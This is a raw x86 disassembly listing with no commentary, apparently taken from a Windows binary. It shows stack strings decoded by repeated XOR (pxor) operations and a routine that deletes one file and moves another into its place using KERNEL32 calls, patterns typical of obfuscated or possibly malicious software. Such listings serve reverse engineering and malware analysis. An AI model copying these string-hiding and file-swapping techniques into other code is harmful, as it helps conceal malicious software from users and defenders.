mov dword [ebp - 0x2028], 0xe2686cd
mov dword [ebp - 0x2024], 0xb84a48b4
mov dword [ebp - 0x878], 0xedb3c4ee
mov dword [ebp - 0x874], 0x465efde5
mov dword [ebp - 0x2020], 0xedb3c4ee
mov dword [ebp - 0x201c], 0x465efde5
call fcn.0045f450
mov dword [ebp - 0x12d0], 0x87e9f496
mov dword [ebp - 0x12cc], 0x91b0e17c
mov dword [ebp - 0x2098], 0x87e9f496
mov dword [ebp - 0x2094], 0x91b0e17c
mov dword [ebp - 0x12c8], 0xe49fc8
mov dword [ebp - 0x12c4], 0xde403b7a
mov dword [ebp - 0x2090], 0xe49fc8
mov dword [ebp - 0x208c], 0xde403b7a
mov dword [ebp - 0x12c0], 0xe4b78c79
mov dword [ebp - 0x12bc], 0xece6f64e
mov dword [ebp - 0x2088], 0xe4b78c79
mov dword [ebp - 0x2084], 0xece6f64e
mov dword [ebp - 0x12b8], 0x22c06209
mov dword [ebp - 0x12b4], 0x91389f26
mov dword [ebp - 0x2080], 0x22c06209
mov dword [ebp - 0x207c], 0x91389f26
mov dword [ebp - 0x12b0], 0x33f421db
mov dword [ebp - 0x12ac], 0xb67287f2
mov dword [ebp - 0x2078], 0x33f421db
lea eax, [ebp - 0x2058]
mov dword [ebp - 0x2074], 0xb67287f2
push eax
lea eax, [ebp - 0x2098]
mov dword [ebp - 0x12a8], 0x27a2b0ee
push eax
lea ecx, [ebp - 0x3368]
mov dword [ebp - 0x12a4], 0x8813fd50
mov dword [ebp - 0x2070], 0x27a2b0ee
mov dword [ebp - 0x206c], 0x8813fd50
mov dword [ebp - 0x12a0], 0x6a03a6f7
mov dword [ebp - 0x129c], 0xb84a429d
mov dword [ebp - 0x2068], 0x6a03a6f7
mov dword [ebp - 0x2064], 0xb84a429d
mov dword [ebp - 0x1298], 0xedb3c4ee
mov dword [ebp - 0x1294], 0x465efde5
mov dword [ebp - 0x2060], 0xedb3c4ee
mov dword [ebp - 0x205c], 0x465efde5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x12d0]
lea eax, [ebp - 0x12d0]
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x12d0], xmm1
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x12c0]
movaps xmmword [ebp - 0x12c0], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x12b0]
movaps xmmword [ebp - 0x12b0], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x12a0]
push esi
push eax
movaps xmmword [ebp - 0x12a0], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2d90], 0xb19cdb87
lea eax, [ebp - 0x2d80]
mov dword [ebp - 0x2d8c], 0xe3df934b
lea ecx, [ebp - 0x3360]
mov dword [ebp - 0x2d88], 0x6387f0e8
mov dword [ebp - 0x2d84], 0xba25490f
push eax
lea eax, [ebp - 0x2d90]
push eax
call fcn.0045f450
lea eax, [ebp - 0x2d90]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2da0]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3358]
mov dword [ebp - 0x2da0], 0xe2c99ad7
mov dword [ebp - 0x2d9c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2d98], 0x6387f0e8
mov dword [ebp - 0x2d94], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2da0]
mov dword [ebp - 0xba0], 0xb19cdb87
push eax
lea eax, [ebp - 0x2db0]
mov dword [ebp - 0xb9c], 0xe3df934b
push eax
lea ecx, [ebp - 0x3350]
mov dword [ebp - 0x2db0], 0xb19cdb87
mov dword [ebp - 0x2dac], 0xe3df934b
mov dword [ebp - 0xb98], 0x6387f0e8
mov dword [ebp - 0xb94], 0xba25490f
mov dword [ebp - 0x2da8], 0x6387f0e8
mov dword [ebp - 0x2da4], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xba0]
pxor xmm1, xmmword [ebp - 0xba0]
push eax
movaps xmmword [ebp - 0xba0], xmm1
call fcn.005d657d
add esp, 4
jmp 0x45d03e
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x2260]
call fcn.0045e160
lea ecx, [ebp - 0x2260]
mov byte [ebp - 4], 0x12
call fcn.0044da70
lea ecx, [ebp - 0x2260]
mov dword [0x67ee04], eax
call fcn.0045e100
lea ecx, [ebp - 0x8e8]
call fcn.0045e3a0
sub esp, 0x18
mov dword [ebp - 0x2b2c], eax
mov edi, esp
mov dword [ebp - 0x2b34], esp
mov dword [ebp - 0x2b38], edi
mov ecx, edi
push dword [ebp - 0x2b34]
call fcn.004611d0
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x2b2c]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x2b2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x457c90
sub ecx, dword [ebp - 0x2b2c]
push ecx
push edx
mov ecx, edi
call fcn.004611f0
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x988]
mov ecx, esp
push eax
call fcn.0045e6f0
mov byte [ebp - 4], 5
call fcn.0044dbb0
mov edi, eax
add esp, 0x30
cmp edi, 0x1a0a
jne 0x458037
mov dword [ebp - 0x1200], 0xe5ba8f3a
lea eax, [ebp - 0x1210]
mov dword [ebp - 0x11fc], 0xe1f4f60c
mov dword [ebp - 0x11f8], 0x29da680f
mov dword [ebp - 0x11f4], 0x853dca61
mov dword [ebp - 0x11f0], 0x5fdd119a
mov dword [ebp - 0x11ec], 0xa837c0a6
mov dword [ebp - 0x11e8], 0x62a4acfd
mov dword [ebp - 0x11e4], 0x8157e640
mov dword [ebp - 0x11e0], 0x6b42e7a2
mov dword [ebp - 0x11dc], 0xdd3c68c6
mov dword [ebp - 0x11d8], 0x82dab79c
mov dword [ebp - 0x11d4], 0x4654d38b
mov dword [ebp - 0x1210], 0xc2beff99
mov dword [ebp - 0x120c], 0x90adf678
mov dword [ebp - 0x1208], 0x43e99f81
mov dword [ebp - 0x1204], 0xdf512c6b
movaps xmm1, xmmword [ebp - 0x1210]
mov dword [ebp - 0x8b0], 0xe2c99ad7
mov dword [ebp - 0x8ac], 0xe3df930e
mov dword [ebp - 0x8a8], 0x6387f0e8
mov dword [ebp - 0x8a4], 0xba25490f
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x1210], xmm1
mov dword [ebp - 0x8a0], 0x81dffb59
mov dword [ebp - 0x89c], 0x8d84d620
mov dword [ebp - 0x898], 0x4ca9096a
mov dword [ebp - 0x894], 0xe14dbf41
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1200]
movaps xmmword [ebp - 0x1200], xmm1
mov dword [ebp - 0x890], 0x7fb865fb
mov dword [ebp - 0x88c], 0xc417afd2
mov dword [ebp - 0x888], 0x7d0df9c
mov dword [ebp - 0x884], 0xed779233
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x11f0]
movaps xmmword [ebp - 0x11f0], xmm1
mov dword [ebp - 0x880], 0xe2686cd
mov dword [ebp - 0x87c], 0xb84a48b4
mov dword [ebp - 0x878], 0xedb3c4ee
mov dword [ebp - 0x874], 0x465efde5
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x11e0]
push eax
movaps xmmword [ebp - 0x11e0], xmm1
call fcn.0044b300
mov dword [ebp - 0x11d0], 0x8cbef593
add esp, 4
mov dword [ebp - 0x11cc], 0x87befc62
mov dword [ebp - 0x11c8], 0xdee9cc8
mov dword [ebp - 0x11c4], 0xd2057364
mov dword [ebp - 0x11c0], 0xbbaf8f2d
mov dword [ebp - 0x11bc], 0xe3f2f90f
mov dword [ebp - 0x11b8], 0x62d16802
mov dword [ebp - 0x11b4], 0xce20d022
mov dword [ebp - 0x11b0], 0x1bd90a97
mov dword [ebp - 0x11ac], 0xaa3addb7
mov dword [ebp - 0x11a8], 0x7daa8f9
mov dword [ebp - 0x11a4], 0xed779233
mov dword [ebp - 0x8a0], 0xe2c99ad7
mov dword [ebp - 0x89c], 0xe3df930e
mov dword [ebp - 0x898], 0x6387f0e8
mov dword [ebp - 0x894], 0xba25490f
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x11d0]
movaps xmmword [ebp - 0x11d0], xmm1
mov dword [ebp - 0x890], 0x81dffb59
mov dword [ebp - 0x88c], 0x8d84d620
mov dword [ebp - 0x888], 0x4ca9096a
mov dword [ebp - 0x884], 0xe14dbf41
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x11c0]
mov dword [ebp - 0x880], 0x7fb865fb
mov dword [ebp - 0x87c], 0xc417afd2
mov dword [ebp - 0x878], 0x7d0df9c
mov dword [ebp - 0x874], 0xed779233
movaps xmmword [ebp - 0x11c0], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x11b0]
movaps xmmword [ebp - 0x11b0], xmm1
lea eax, [ebp - 0x11d0]
push eax
call fcn.0044b300
mov dword [ebp - 0xbb0], 0xb19cdb87
lea eax, [ebp - 0xbb0]
mov dword [ebp - 0xbac], 0xe3df934b
add esp, 4
mov dword [ebp - 0xba8], 0x6387f0e8
mov dword [ebp - 0xba4], 0xba25490f
movaps xmm1, xmmword [ebp - 0xbb0]
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbb0], xmm1
call fcn.005d657d
add esp, 4
jmp 0x45769d
cmp edi, 0x100000
jae 0x458397
lea eax, [ebp - 0x1658]
mov dword [ebp - 0x1678], 0xc294b08c
push eax
lea eax, [ebp - 0x1678]
mov dword [ebp - 0x1674], 0x82a9fd47
push eax
lea ecx, [ebp - 0x3348]
mov dword [ebp - 0x1670], 0x43e39984
mov dword [ebp - 0x166c], 0xdf5f207c
mov dword [ebp - 0x1668], 0xe5fadb63
mov dword [ebp - 0x1664], 0x8d84d62a
mov dword [ebp - 0x1660], 0x4ca9096a
mov dword [ebp - 0x165c], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x1638]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1658]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3340]
mov dword [ebp - 0x1658], 0xe2c99ad7
mov dword [ebp - 0x1654], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x1650], 0x6387f0e8
mov dword [ebp - 0x164c], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x1648], 0x81dffb59
mov dword [ebp - 0x1644], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x1640], 0x4ca9096a
mov dword [ebp - 0x163c], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x1618]
mov dword [ebp - 0xec0], 0xc294b08c
push eax
lea eax, [ebp - 0x1638]
mov dword [ebp - 0xebc], 0x82a9fd47
push eax
lea ecx, [ebp - 0x3338]
mov dword [ebp - 0x1638], 0xc294b08c
mov dword [ebp - 0x1634], 0x82a9fd47
mov dword [ebp - 0xeb8], 0x43e39984
mov dword [ebp - 0xeb4], 0xdf5f207c
mov dword [ebp - 0x1630], 0x43e39984
mov dword [ebp - 0x162c], 0xdf5f207c
mov dword [ebp - 0xeb0], 0xe5fadb63
mov dword [ebp - 0xeac], 0x8d84d62a
mov dword [ebp - 0x1628], 0xe5fadb63
mov dword [ebp - 0x1624], 0x8d84d62a
mov dword [ebp - 0xea8], 0x4ca9096a
mov dword [ebp - 0xea4], 0xe14dbf41
mov dword [ebp - 0x1620], 0x4ca9096a
mov dword [ebp - 0x161c], 0xe14dbf41
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xec0]
pxor xmm1, xmmword [ebp - 0xec0]
movaps xmmword [ebp - 0xec0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xeb0]
push edi
push eax
movaps xmmword [ebp - 0xeb0], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2dc0], 0xb19cdb87
lea eax, [ebp - 0x2db0]
mov dword [ebp - 0x2dbc], 0xe3df934b
lea ecx, [ebp - 0x3330]
mov dword [ebp - 0x2db8], 0x6387f0e8
mov dword [ebp - 0x2db4], 0xba25490f
push eax
lea eax, [ebp - 0x2dc0]
push eax
call fcn.0045f450
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
lea eax, [ebp - 0x2dc0]
mov dword [ebp - 0x2dd0], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2dd0]
mov dword [ebp - 0x2dcc], 0xe3df930e
push eax
lea ecx, [ebp - 0x3328]
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2dc8], 0x6387f0e8
mov dword [ebp - 0x2dc4], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2dd0]
mov dword [ebp - 0xbc0], 0xb19cdb87
push eax
lea eax, [ebp - 0x2de0]
mov dword [ebp - 0xbbc], 0xe3df934b
push eax
lea ecx, [ebp - 0x3320]
mov dword [ebp - 0x2de0], 0xb19cdb87
mov dword [ebp - 0x2ddc], 0xe3df934b
mov dword [ebp - 0xbb8], 0x6387f0e8
mov dword [ebp - 0xbb4], 0xba25490f
mov dword [ebp - 0x2dd8], 0x6387f0e8
mov dword [ebp - 0x2dd4], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xbc0]
lea eax, [ebp - 0xbc0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbc0], xmm1
call fcn.005d657d
add esp, 4
jmp 0x45d03e
cmp edi, dword [0x67ee04]
jne 0x4585c5
lea eax, [ebp - 0x15f8]
mov dword [ebp - 0x1618], 0xc294b08c
push eax
lea eax, [ebp - 0x1618]
mov dword [ebp - 0x1614], 0x8da8fc4a
push eax
lea ecx, [ebp - 0x3318]
mov dword [ebp - 0x1610], 0x7e69f84
mov dword [ebp - 0x160c], 0xd34e3a2f
mov dword [ebp - 0x1608], 0xe5ba8b29
mov dword [ebp - 0x1604], 0x8d84d62a
mov dword [ebp - 0x1600], 0x4ca9096a
mov dword [ebp - 0x15fc], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x15d8]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x15f8]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3308]
mov dword [ebp - 0x15f8], 0xe2c99ad7
mov dword [ebp - 0x15f4], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x15f0], 0x6387f0e8
mov dword [ebp - 0x15ec], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x15e8], 0x81dffb59
mov dword [ebp - 0x15e4], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x15e0], 0x4ca9096a
mov dword [ebp - 0x15dc], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x15b8]
mov dword [ebp - 0xee0], 0xc294b08c
push eax
lea eax, [ebp - 0x15d8]
mov dword [ebp - 0xedc], 0x8da8fc4a
push eax
lea ecx, [ebp - 0x3300]
mov dword [ebp - 0x15d8], 0xc294b08c
mov dword [ebp - 0x15d4], 0x8da8fc4a
mov dword [ebp - 0xed8], 0x7e69f84
mov dword [ebp - 0xed4], 0xd34e3a2f
mov dword [ebp - 0x15d0], 0x7e69f84
mov dword [ebp - 0x15cc], 0xd34e3a2f
mov dword [ebp - 0xed0], 0xe5ba8b29
mov dword [ebp - 0xecc], 0x8d84d62a
mov dword [ebp - 0x15c8], 0xe5ba8b29
mov dword [ebp - 0x15c4], 0x8d84d62a
mov dword [ebp - 0xec8], 0x4ca9096a
mov dword [ebp - 0xec4], 0xe14dbf41
mov dword [ebp - 0x15c0], 0x4ca9096a
mov dword [ebp - 0x15bc], 0xe14dbf41
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xee0]
pxor xmm1, xmmword [ebp - 0xee0]
movaps xmmword [ebp - 0xee0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xed0]
push eax
movaps xmmword [ebp - 0xed0], xmm1
call fcn.0044b300
add esp, 4
mov byte [0x67edf9], 1
jmp 0x458973
lea eax, [ebp - 0x2de0]
mov dword [ebp - 0x2df0], 0x8cbef593
push eax
lea eax, [ebp - 0x2df0]
mov dword [ebp - 0x2dec], 0x87befc62
push eax
lea ecx, [ebp - 0x32f8]
mov dword [ebp - 0x2de8], 0x59e09e81
mov dword [ebp - 0x2de4], 0xba254905
call fcn.0045f450
lea eax, [ebp - 0x2df0]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2e00]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x32f0]
mov dword [ebp - 0x2e00], 0xe2c99ad7
mov dword [ebp - 0x2dfc], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2df8], 0x6387f0e8
mov dword [ebp - 0x2df4], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2e00]
mov dword [ebp - 0xbd0], 0x8cbef593
push eax
lea eax, [ebp - 0x2e10]
mov dword [ebp - 0xbcc], 0x87befc62
push eax
lea ecx, [ebp - 0x32e8]
mov dword [ebp - 0x2e10], 0x8cbef593
mov dword [ebp - 0x2e0c], 0x87befc62
mov dword [ebp - 0xbc8], 0x59e09e81
mov dword [ebp - 0xbc4], 0xba254905
mov dword [ebp - 0x2e08], 0x59e09e81
mov dword [ebp - 0x2e04], 0xba254905
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xbd0]
lea eax, [ebp - 0xbd0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbd0], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x15b8], 0xe2a69a94
lea eax, [ebp - 0x1598]
mov dword [ebp - 0x15b4], 0xe3ac9360
lea ecx, [ebp - 0x32e0]
mov dword [ebp - 0x15b0], 0x63f5f09c
mov dword [ebp - 0x15ac], 0xba46497a
push eax
lea eax, [ebp - 0x15b8]
mov dword [ebp - 0x15a8], 0x81b0fb2d
push eax
mov dword [ebp - 0x15a4], 0x8daad652
mov dword [ebp - 0x15a0], 0x4cc5090e
mov dword [ebp - 0x159c], 0xe14dbf2d
call fcn.0045f450
lea eax, [ebp - 0x1578]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1598]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x32d8]
mov dword [ebp - 0x1598], 0xe2c99ad7
mov dword [ebp - 0x1594], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x1590], 0x6387f0e8
mov dword [ebp - 0x158c], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x1588], 0x81dffb59
mov dword [ebp - 0x1584], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x1580], 0x4ca9096a
mov dword [ebp - 0x157c], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x1558]
mov dword [ebp - 0xf00], 0xe2a69a94
push eax
lea eax, [ebp - 0x1578]
mov dword [ebp - 0xefc], 0xe3ac9360
push eax
lea ecx, [ebp - 0x32d0]
mov dword [ebp - 0x1578], 0xe2a69a94
mov dword [ebp - 0x1574], 0xe3ac9360
mov dword [ebp - 0xef8], 0x63f5f09c
mov dword [ebp - 0xef4], 0xba46497a
mov dword [ebp - 0x1570], 0x63f5f09c
mov dword [ebp - 0x156c], 0xba46497a
mov dword [ebp - 0xef0], 0x81b0fb2d
mov dword [ebp - 0xeec], 0x8daad652
mov dword [ebp - 0x1568], 0x81b0fb2d
mov dword [ebp - 0x1564], 0x8daad652
mov dword [ebp - 0xee8], 0x4cc5090e
mov dword [ebp - 0xee4], 0xe14dbf2d
mov dword [ebp - 0x1560], 0x4cc5090e
mov dword [ebp - 0x155c], 0xe14dbf2d
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xf00]
lea eax, [ebp - 0xf00]
pxor xmm1, xmmword [ebp - 0x860]
sub esp, 0x18
movaps xmmword [ebp - 0xf00], xmm1
mov ecx, esp
movaps xmm1, xmmword [ebp - 0xef0]
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2b34], esp
push eax
movaps xmmword [ebp - 0xef0], xmm1
call fcn.0045e160
sub esp, 0x18
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x8e8]
mov dword [ebp - 0x2b2c], esp
mov esi, esp
call fcn.0045e3a0
push eax
mov ecx, esi
call fcn.0045e6b0
sub esp, 0x18
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x988]
mov ecx, esp
push eax
call fcn.0045e6f0
mov ecx, edi
mov byte [ebp - 4], 5
call fcn.00453a30
add esp, 0x48
cmp byte [0x67edf9], 0
je 0x4593d0
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1dc8]
mov dword [ebp - 0x1df8], 0xe2a69a94
push eax
lea eax, [ebp - 0x1df8]
mov dword [ebp - 0x1df4], 0xe3ac9360
push eax
lea ecx, [ebp - 0x32c8]
mov dword [ebp - 0x1df0], 0x63f5f09c
mov dword [ebp - 0x1dec], 0xba46497a
mov dword [ebp - 0x1de8], 0x81b0fb2d
mov dword [ebp - 0x1de4], 0x8daad652
mov dword [ebp - 0x1de0], 0x4cc5090e
mov dword [ebp - 0x1ddc], 0xe163bf2d
mov dword [ebp - 0x1dd8], 0x7fd96599
mov dword [ebp - 0x1dd4], 0xc417afb9
mov dword [ebp - 0x1dd0], 0x7d0df9c
mov dword [ebp - 0x1dcc], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1df8]
mov dword [ebp - 0x8a0], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1e28]
mov dword [ebp - 0x89c], 0xe3df930e
push eax
lea ecx, [ebp - 0x32c0]
mov dword [ebp - 0x1e28], 0xe2c99ad7
mov dword [ebp - 0x1e24], 0xe3df930e
mov dword [ebp - 0x898], 0x6387f0e8
mov dword [ebp - 0x894], 0xba25490f
mov dword [ebp - 0x1e20], 0x6387f0e8
mov dword [ebp - 0x1e1c], 0xba25490f
mov dword [ebp - 0x890], 0x81dffb59
mov dword [ebp - 0x88c], 0x8d84d620
mov dword [ebp - 0x1e18], 0x81dffb59
mov dword [ebp - 0x1e14], 0x8d84d620
mov dword [ebp - 0x888], 0x4ca9096a
mov dword [ebp - 0x884], 0xe14dbf41
mov dword [ebp - 0x1e10], 0x4ca9096a
mov dword [ebp - 0x1e0c], 0xe14dbf41
mov dword [ebp - 0x880], 0x7fb865fb
mov dword [ebp - 0x87c], 0xc417afd2
mov dword [ebp - 0x1e08], 0x7fb865fb
mov dword [ebp - 0x1e04], 0xc417afd2
mov dword [ebp - 0x878], 0x7d0df9c
mov dword [ebp - 0x874], 0xed779233
mov dword [ebp - 0x1e00], 0x7d0df9c
mov dword [ebp - 0x1dfc], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1e28]
mov dword [ebp - 0x1170], 0xe2a69a94
push eax
lea eax, [ebp - 0x1e58]
mov dword [ebp - 0x116c], 0xe3ac9360
push eax
lea ecx, [ebp - 0x32b8]
mov dword [ebp - 0x1e58], 0xe2a69a94
mov dword [ebp - 0x1e54], 0xe3ac9360
mov dword [ebp - 0x1168], 0x63f5f09c
mov dword [ebp - 0x1164], 0xba46497a
mov dword [ebp - 0x1e50], 0x63f5f09c
mov dword [ebp - 0x1e4c], 0xba46497a
mov dword [ebp - 0x1160], 0x81b0fb2d
mov dword [ebp - 0x115c], 0x8daad652
mov dword [ebp - 0x1e48], 0x81b0fb2d
mov dword [ebp - 0x1e44], 0x8daad652
mov dword [ebp - 0x1158], 0x4cc5090e
mov dword [ebp - 0x1154], 0xe163bf2d
mov dword [ebp - 0x1e40], 0x4cc5090e
mov dword [ebp - 0x1e3c], 0xe163bf2d
mov dword [ebp - 0x1150], 0x7fd96599
mov dword [ebp - 0x114c], 0xc417afb9
mov dword [ebp - 0x1e38], 0x7fd96599
mov dword [ebp - 0x1e34], 0xc417afb9
mov dword [ebp - 0x1148], 0x7d0df9c
mov dword [ebp - 0x1144], 0xed779233
mov dword [ebp - 0x1e30], 0x7d0df9c
mov dword [ebp - 0x1e2c], 0xed779233
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x1170]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1170], xmm1
movaps xmm1, xmmword [ebp - 0x890]
lea eax, [ebp - 0x228]
pxor xmm1, xmmword [ebp - 0x1160]
mov edi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
push eax
movaps xmmword [ebp - 0x1160], xmm1
lea eax, [ebp - 0x1170]
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1150]
push 0x104
push eax
movaps xmmword [ebp - 0x1150], xmm1
call edi
lea eax, [ebp - 0x1538]
mov dword [ebp - 0x1558], 0xe2a69a94
push eax
lea eax, [ebp - 0x1558]
mov dword [ebp - 0x1554], 0xe3ac9360
push eax
lea ecx, [ebp - 0x32b0]
mov dword [ebp - 0x1550], 0x63f5f09c
mov dword [ebp - 0x154c], 0xba46497a
mov dword [ebp - 0x1548], 0x81b0fb2d
mov dword [ebp - 0x1544], 0x8daad652
mov dword [ebp - 0x1540], 0x4cc5090e
mov dword [ebp - 0x153c], 0xe14dbf2d
call fcn.0045f450
lea eax, [ebp - 0x1518]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1538]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x32a8]
mov dword [ebp - 0x1538], 0xe2c99ad7
mov dword [ebp - 0x1534], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x1530], 0x6387f0e8
mov dword [ebp - 0x152c], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x1528], 0x81dffb59
mov dword [ebp - 0x1524], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x1520], 0x4ca9096a
mov dword [ebp - 0x151c], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x14f8]
mov dword [ebp - 0xc20], 0xe2a69a94
push eax
lea eax, [ebp - 0x1518]
mov dword [ebp - 0xc1c], 0xe3ac9360
push eax
lea ecx, [ebp - 0x32a0]
mov dword [ebp - 0x1518], 0xe2a69a94
mov dword [ebp - 0x1514], 0xe3ac9360
mov dword [ebp - 0xc18], 0x63f5f09c
mov dword [ebp - 0xc14], 0xba46497a
mov dword [ebp - 0x1510], 0x63f5f09c
mov dword [ebp - 0x150c], 0xba46497a
mov dword [ebp - 0xc10], 0x81b0fb2d
mov dword [ebp - 0xc0c], 0x8daad652
mov dword [ebp - 0x1508], 0x81b0fb2d
mov dword [ebp - 0x1504], 0x8daad652
mov dword [ebp - 0xc08], 0x4cc5090e
mov dword [ebp - 0xc04], 0xe14dbf2d
mov dword [ebp - 0x1500], 0x4cc5090e
mov dword [ebp - 0x14fc], 0xe14dbf2d
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xc20]
lea eax, [ebp - 0x638]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xc20], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xc10]
push 0
movaps xmmword [ebp - 0xc10], xmm1
push eax
push 0x104
lea eax, [ebp - 0xc20]
push eax
call edi
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x4593d6
call esi
mov esi, eax
mov dword [ebp - 0x20d8], 0x87e9f496
lea eax, [ebp - 0x2098]
mov dword [ebp - 0x20d4], 0x91b0e17c
push eax
lea eax, [ebp - 0x20d8]
mov dword [ebp - 0x20d0], 0x10e687c8
push eax
lea ecx, [ebp - 0x3298]
mov dword [ebp - 0x20cc], 0xd946262f
mov dword [ebp - 0x20c8], 0xe5ba892c
